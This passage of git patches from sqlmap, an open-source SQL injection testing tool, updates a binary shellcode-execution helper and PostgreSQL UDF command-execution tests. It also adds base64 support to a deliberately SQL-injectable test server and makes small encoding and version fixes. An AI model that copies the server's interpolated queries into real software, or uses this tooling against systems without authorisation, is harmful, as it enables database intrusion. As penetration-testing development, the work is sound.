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 diff --git a/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ index 3f8d5a5b3f6bfc33bb5c2bacbf463def26c2726b..91076858821ea87347c81298b009e7424cfcdc41 100644 GIT binary patch literal 2758 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 /dev/null diff --git a/lib/core/common.py b/lib/core/common.py index b50810843..3c419e5b3 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5007,6 +5007,10 @@ def decloakToTemp(filename): >>> openFile(_, "rb", encoding=None).read().startswith(b'<%') True >>> os.remove(_) + >>> _ = decloakToTemp(os.path.join(paths.SQLMAP_UDF_PATH, "postgresql", "linux", "64", "11", "lib_postgresqludf_sys.so_")) + >>> b'sys_eval' in openFile(_, "rb", encoding=None).read() + True + >>> os.remove(_) """ content = decloak(filename) diff --git a/lib/core/settings.py b/lib/core/settings.py index eb2b45ce5..1341d3d63 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.8.22" +VERSION = "1.4.8.24" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 66e07dfab6fe0bd18928766930af35aaf15b0675 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 1 Sep 2020 15:35:14 +0200 Subject: [PATCH 15/45] Fixes #4322 --- lib/core/settings.py | 2 +- lib/request/connect.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1341d3d63..e935bc807 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.8.24" +VERSION = "1.4.9.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index eb7d92e2f..761fb38b5 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -539,7 +539,7 @@ class Connect(object): conn = _urllib.request.urlopen(req) if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower(): - kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) + kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)) if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION): kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION) From 1bec3a953cb6068c7e13955f2feeed7d525cbb13 Mon Sep 17 00:00:00 2001 From: mkauschi Date: Wed, 2 Sep 2020 17:07:28 +0200 Subject: [PATCH 16/45] fix #4325 (#4327) Co-authored-by: manuel --- lib/request/basic.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/request/basic.py b/lib/request/basic.py index 168719694..80b662c6f 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -353,7 +353,7 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True): if (kb.pageEncoding or "").lower() == "utf-8-sig": kb.pageEncoding = "utf-8" - if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling) + if page and page.startswith(b"\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling) page = page[3:] page = getUnicode(page, kb.pageEncoding) From f781367ac1ecbd049f7bb80af69bf695518227e7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 4 Sep 2020 10:48:35 +0200 Subject: [PATCH 17/45] Fixes #4328 --- lib/core/settings.py | 2 +- sqlmap.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index e935bc807..39bf055c3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.9.0" +VERSION = "1.4.9.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index 09ae03a43..d7608fded 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -317,7 +317,7 @@ def main(): logger.critical(errMsg) raise SystemExit - elif any(_ in excMsg for _ in ("tempfile.mkdtemp", "tempfile.mkstemp")): + elif any(_ in excMsg for _ in ("tempfile.mkdtemp", "tempfile.mkstemp", "tempfile.py")): errMsg = "unable to write to the temporary directory '%s'. " % tempfile.gettempdir() errMsg += "Please make sure that your disk is not full and " errMsg += "that you have sufficient write permissions to " From a7f20c1d677b37ec64262c79ff9730039025233a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 4 Sep 2020 12:45:33 +0200 Subject: [PATCH 18/45] Minor update (base64 stuff) --- extra/vulnserver/vulnserver.py | 6 +++++- lib/core/common.py | 1 + lib/core/settings.py | 2 +- lib/core/testing.py | 6 +++++- lib/parse/cmdline.py | 2 +- 5 files changed, 13 insertions(+), 4 deletions(-) diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 3106eafeb..5f33ee975 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -9,6 +9,7 @@ See the file 'LICENSE' for copying permission from __future__ import print_function +import base64 import json import re import sqlite3 @@ -146,7 +147,10 @@ class ReqHandler(BaseHTTPRequestHandler): if "query" in self.params: _cursor.execute(self.params["query"]) elif "id" in self.params: - _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"]) + if "base64" in self.params: + _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % base64.b64decode("%s===" % self.params["id"], altchars=self.params.get("altchars")).decode()) + else: + _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"]) results = _cursor.fetchall() output += "SQL results:
\n" diff --git a/lib/core/common.py b/lib/core/common.py index 3c419e5b3..9a6da74e2 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -632,6 +632,7 @@ def paramToDict(place, parameters=None): if parameter in (conf.base64Parameter or []): try: kb.base64Originals[parameter] = oldValue = value + value = urldecode(value, convall=True) value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING) parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters) except: diff --git a/lib/core/settings.py b/lib/core/settings.py index 39bf055c3..fdad3128e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.9.1" +VERSION = "1.4.9.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index cb9fe70d9..0704a2da5 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -39,6 +39,7 @@ def vulnTest(): TESTS = ( ("-h", ("to see full list of options run with '-hh'",)), + ("-u -p id --base64=id -v 6 --data='base64=true' --flush-session --banner --technique=BEU", ("banner: '3.",)), ("--dependencies", ("sqlmap requires", "third-party library")), ("-u --flush-session --wizard", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")), (u"-c --flush-session --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible")), @@ -125,7 +126,10 @@ def vulnTest(): status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS))) dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) - cmd = "%s %s %s --batch --non-interactive" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("", url).replace("", direct).replace("", request).replace("", log).replace("", config)) + for tag, value in (("", url), ("", direct), ("", request), ("", log), ("", config), ("", url.replace("id=1", "id=MZ=%3d"))): + options = options.replace(tag, value) + + cmd = "%s %s %s --batch --non-interactive" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options) if "" in cmd: handle, tmp = tempfile.mkstemp() diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 68c0887dc..8fcd0df71 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -623,7 +623,7 @@ def cmdLineParser(argv=None): help="Parameter(s) containing Base64 encoded data") general.add_argument("--base64-safe", dest="base64Safe", action="store_true", - help="Use URL and filename safe Base64 alphabet") + help="Use URL and filename safe Base64 alphabet (RFC 4648)") general.add_argument("--batch", dest="batch", action="store_true", help="Never ask for user input, use the default behavior") From b42b62ae3813eb65d646b0505f8e9c3588d54e0b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 4 Sep 2020 13:16:50 +0200 Subject: [PATCH 19/45] Major improvement in Base64 handling (late-binding) --- lib/core/agent.py | 7 ++++++- lib/core/settings.py | 3 ++- 